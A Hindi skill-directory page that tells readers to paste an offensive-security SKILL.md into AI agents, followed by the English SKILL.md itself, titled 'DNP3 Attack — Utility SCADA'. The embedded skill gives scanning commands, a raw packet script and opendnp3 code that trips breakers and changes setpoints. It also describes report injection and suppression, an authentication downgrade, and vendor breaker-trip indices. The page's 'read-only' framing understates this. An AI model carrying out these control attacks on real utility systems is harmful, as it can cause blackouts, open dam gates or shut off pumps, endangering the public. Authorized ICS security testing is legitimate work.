ics-dnp3
यह क्या करती है
यह गाइड DNP3 के सुरक्षा जाँचों को कवर करती है, जो बिजली और पानी की यूटिलिटी में आम है। यह लिखित मंज़ूरी के साथ काम करने वाली यूटिलिटी सुरक्षा टीमों के लिए है, क्योंकि नियंत्रण कमांड ग्रिड को प्रभावित कर सकते हैं।
कब इस्तेमाल करें
- ✓जब अधिकृत यूटिलिटी समीक्षा को नेटवर्क पर DNP3 outstations खोजने हों।
- ✓जब आप बिना कोई नियंत्रण कमांड भेजे डिवाइस की स्थिति पढ़ना चाहते हैं।
- ✓जब कोई यूटिलिटी अपने remote terminal units की सुरक्षा की योजना बना रही हो।
Skill का लिंक
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/dnp3/SKILL.mdइसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।
कैसे इस्तेमाल करें
सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।
पेस्ट करने के लिए तैयार मैसेज
Claude Code, Codex या Cursor के लिए: प्रोजेक्ट फ़ोल्डर में चलाएँ और skill इंस्टॉल हो जाएगी।
SKILL.md डाउनलोड करें और अपने एजेंट के skills फ़ोल्डर में रखें।
AI से क्या माँगें: उदाहरण
“हम एक क्षेत्रीय यूटिलिटी हैं। क्या आप हमारे DNP3 डिवाइस की केवल-पढ़ने वाली जाँच की योजना बनाने में मदद कर सकते हैं, जिसमें कोई नियंत्रण कमांड न भेजा जाए?”
हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।
यह कैसे काम करती है
एजेंट DNP3 डिवाइस खोजता है, उनकी स्थिति और इवेंट डेटा पढ़ता है, और बिना नियंत्रण कमांड भेजे दर्ज करता है कि क्या उजागर है।
तकनीकी सामग्री (मूल SKILL.md)
लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।
DNP3 Attack — Utility SCADA
DNP3 is the dominant protocol in North American electric utilities (substations, RTUs) and water/wastewater. TCP/20000.
Discover
# nmap
nmap -p 20000 --script=dnp3-info 10.0.0.0/24
# Or pyOPENDNP3 / pydnp3 / dnp3-toolkit
# Quick test:
python3 -c '
import socket, struct
# DNP3 link layer Start (0x05 0x64), Length, Control, Dest, Src
pkt = b"\x05\x64\x05\xc0\x00\x00\x01\x00\xa5\xa1"
s = socket.socket(); s.connect(("10.0.0.50", 20000)); s.send(pkt)
print(s.recv(256).hex())
'
Read attacks (passive — generally safe)
# pydnp3 (or opendnp3 Python binding) — read class 0, 1, 2, 3 data
import opendnp3
# ... master init + asyncrun ...
# Class 0 = static (current value of every point)
# Class 1/2/3 = events (changes)
master.ScanClasses([0, 1, 2, 3])
# Output: a dump of every binary/analog/counter/control point's state.
Control attacks (potentially HIGH IMPACT)
Control Relay Output Block (CROB) — trip / close a breaker
# Group 12 Var 1 CROB — operation field controls action
# trip = 0x81, close = 0x41, pulse on = 0x01
import opendnp3
crob = opendnp3.ControlRelayOutputBlock(opendnp3.ControlCode.LATCH_ON)
res = master.SelectAndOperate(crob, 5) # select+operate on index 5
# Index 5 might be "circuit breaker 5 trip" — opens the breaker.
This is the single most dangerous DNP3 primitive: a successful Select+Operate on the right index can trip transmission breakers, open dam gates, shut off pumps.
Analog Output Block (AOB) — setpoint
aob = opendnp3.AnalogOutputInt16(value=100)
master.SelectAndOperate(aob, 3)
# index 3 might be voltage setpoint, water level, etc.
Unsolicited reporting abuse
DNP3 supports outstation-initiated reports. An attacker positioned between master and outstation can:
- Inject fake unsolicited reports (false alarms) — operator response cascade
- Suppress real reports — operator blind during a real fault
- Reply with stale data via timestamp tampering (Group 50 Var 1)
DNP3 Secure Authentication (DNP3-SA) downgrade
DNP3-SA adds HMAC-based message authentication. Many implementations support both authenticated and unauthenticated modes for backward compatibility:
# Send unauthenticated control with a "session key change" request
# If outstation accepts ANY pre-shared key, the implementation is broken.
# Check via opendnp3.SecureAuthentication examples.
Many older RTUs don't support DNP3-SA at all — full unauthenticated control plane.
Tooling
# dnp3-toolkit (pen-test focused)
pip install dnp3-toolkit
dnp3-scan 10.0.0.0/24
dnp3-info 10.0.0.50
# Free Modbus / DNP3 simulator (for testing PoCs offline before live engagement)
opendnp3 examples — github.com/dnp3/opendnp3
OPSEC + safety
- Critical safety: DNP3 controls the bulk electric power system (in North America). Trip operations cause real outages. SelectAndOperate on a transmission breaker can blackout neighborhoods. Require written scope authorization for any control-class action.
- ICS-CERT and EISAC actively monitor for unusual DNP3 traffic. Master-station IP changes are detected.
- DNP3 over modem (serial) is common in older substations — your network position must be at the SCADA master, not internet.
Reference indices for common deployments
| Vendor RTU | Common control indices |
|---|---|
| GE D20 | Breaker trip = 0-9, recloser = 10-19 |
| SEL-2440 | Per-feeder breaker = 16-23 |
| Schweitzer RTAC | Indices vary heavily by configuration |
Always confirm point map (POINT.CSV or DNP3 device profile) before any write.
References
- IEEE 1815 (DNP3 standard) and "DNP3 Application Layer" specification
- "Hacking the Electric Grid" — Daniel Crowley (Trustwave / X-Force Red)
- DEFCON 27 ICS Village "DNP3 Authentication Bypass"
- NERC CIP-007/CIP-005 (defender baseline — useful to understand what's audited)
अक्सर पूछे जाने वाले सवाल
नियंत्रण कमांड जोखिम भरे क्यों हैं?
गाइड कहती है कि नियंत्रण कमांड भौतिक उपकरण बदल सकते हैं, इसलिए उन्हें स्पष्ट लिखित मंज़ूरी चाहिए।
केवल-पढ़ने वाला टेस्ट क्या दिखाता है?
यह डिवाइस के मौजूदा points और इवेंट दिखाता है, जिससे उजागर होने का आकलन होता है।
DNP3 कौन-से क्षेत्र इस्तेमाल करते हैं?
गाइड के अनुसार बिजली यूटिलिटी और पानी व अपशिष्ट जल प्रणालियाँ।
जानकारी
लेखक का मूल विवरण
DNP3 attack — TCP/20000 (or 19999 serial-over-TCP) outstation enumeration, binary input / analog input poll, control relay output block (CROB) actuation, unsolicited reporting abuse, DNP3 Secure Authentication (DNP3-SA) downgrade, vendor-specific objects.
लोकप्रियता
- GitHub स्टार
- 6.5k
- रैंकिंग में स्थान
- #14036
- लाइसेंस
- Apache-2.0
- अपडेट की गई
- 1/11/2026
कमेंट
- …
इस repository की और skills
detector-overview
6.5kयह आपके एजेंट को स्कैनर से चिह्नित कोड पढ़ने और तय करने में मदद करती है कि कौन सी जगहें असली सुरक्षा बग हैं और कौन सी गलत चेतावनी।
exploiter-overview
6.5kयह आपके एजेंट को कई पक्की सुरक्षा कमज़ोरियों को एक परीक्षण श्रृंखला में जोड़ने और जाँचने में मदद करती है कि वह श्रृंखला कितनी दूर तक पहुँच सकती है।
llm-redteam-overview
6.5kयह आपके एजेंट को परीक्षण के लिए सही AI रेड-टीम गाइड खोजने में मदद करती है, प्रॉम्प्ट इंजेक्शन से लेकर मॉडल के दुरुपयोग तक 15 रणनीति समूहों में।
aatmf-t01-prompt-injection
6.5kसमझाती है कि प्रॉम्प्ट इंजेक्शन क्या है, जिसमें छिपे निर्देश AI सिस्टम के नियम बदलने की कोशिश करते हैं, ताकि सुरक्षा परीक्षक उसकी जाँच कर सकें।
मिलती-जुलती skills
reverse-engineer-anything
422kयह आपके एजेंट को REA टूल से शिप हुई ऐप्स और पैकेज को अंदर से समझने, वर्ज़न की तुलना करने या दोबारा बनाने में मदद करती है।
1password
394kयह आपके एजेंट को 1Password CLI सेट करने, साइन इन करने और सीक्रेट्स की वैल्यू चैट में छापे बिना उन्हें पढ़ने या इस्तेमाल करने में मदद करती है।
healthcheck
394kयह आपके एजेंट को उस कंप्यूटर या सर्वर का सुरक्षा ऑडिट करने देती है जिस पर OpenClaw चलता है, जिसमें SSH, firewall, अपडेट और बैकअप शामिल हैं, और फिर सुरक्षित सुधार सुझाती है।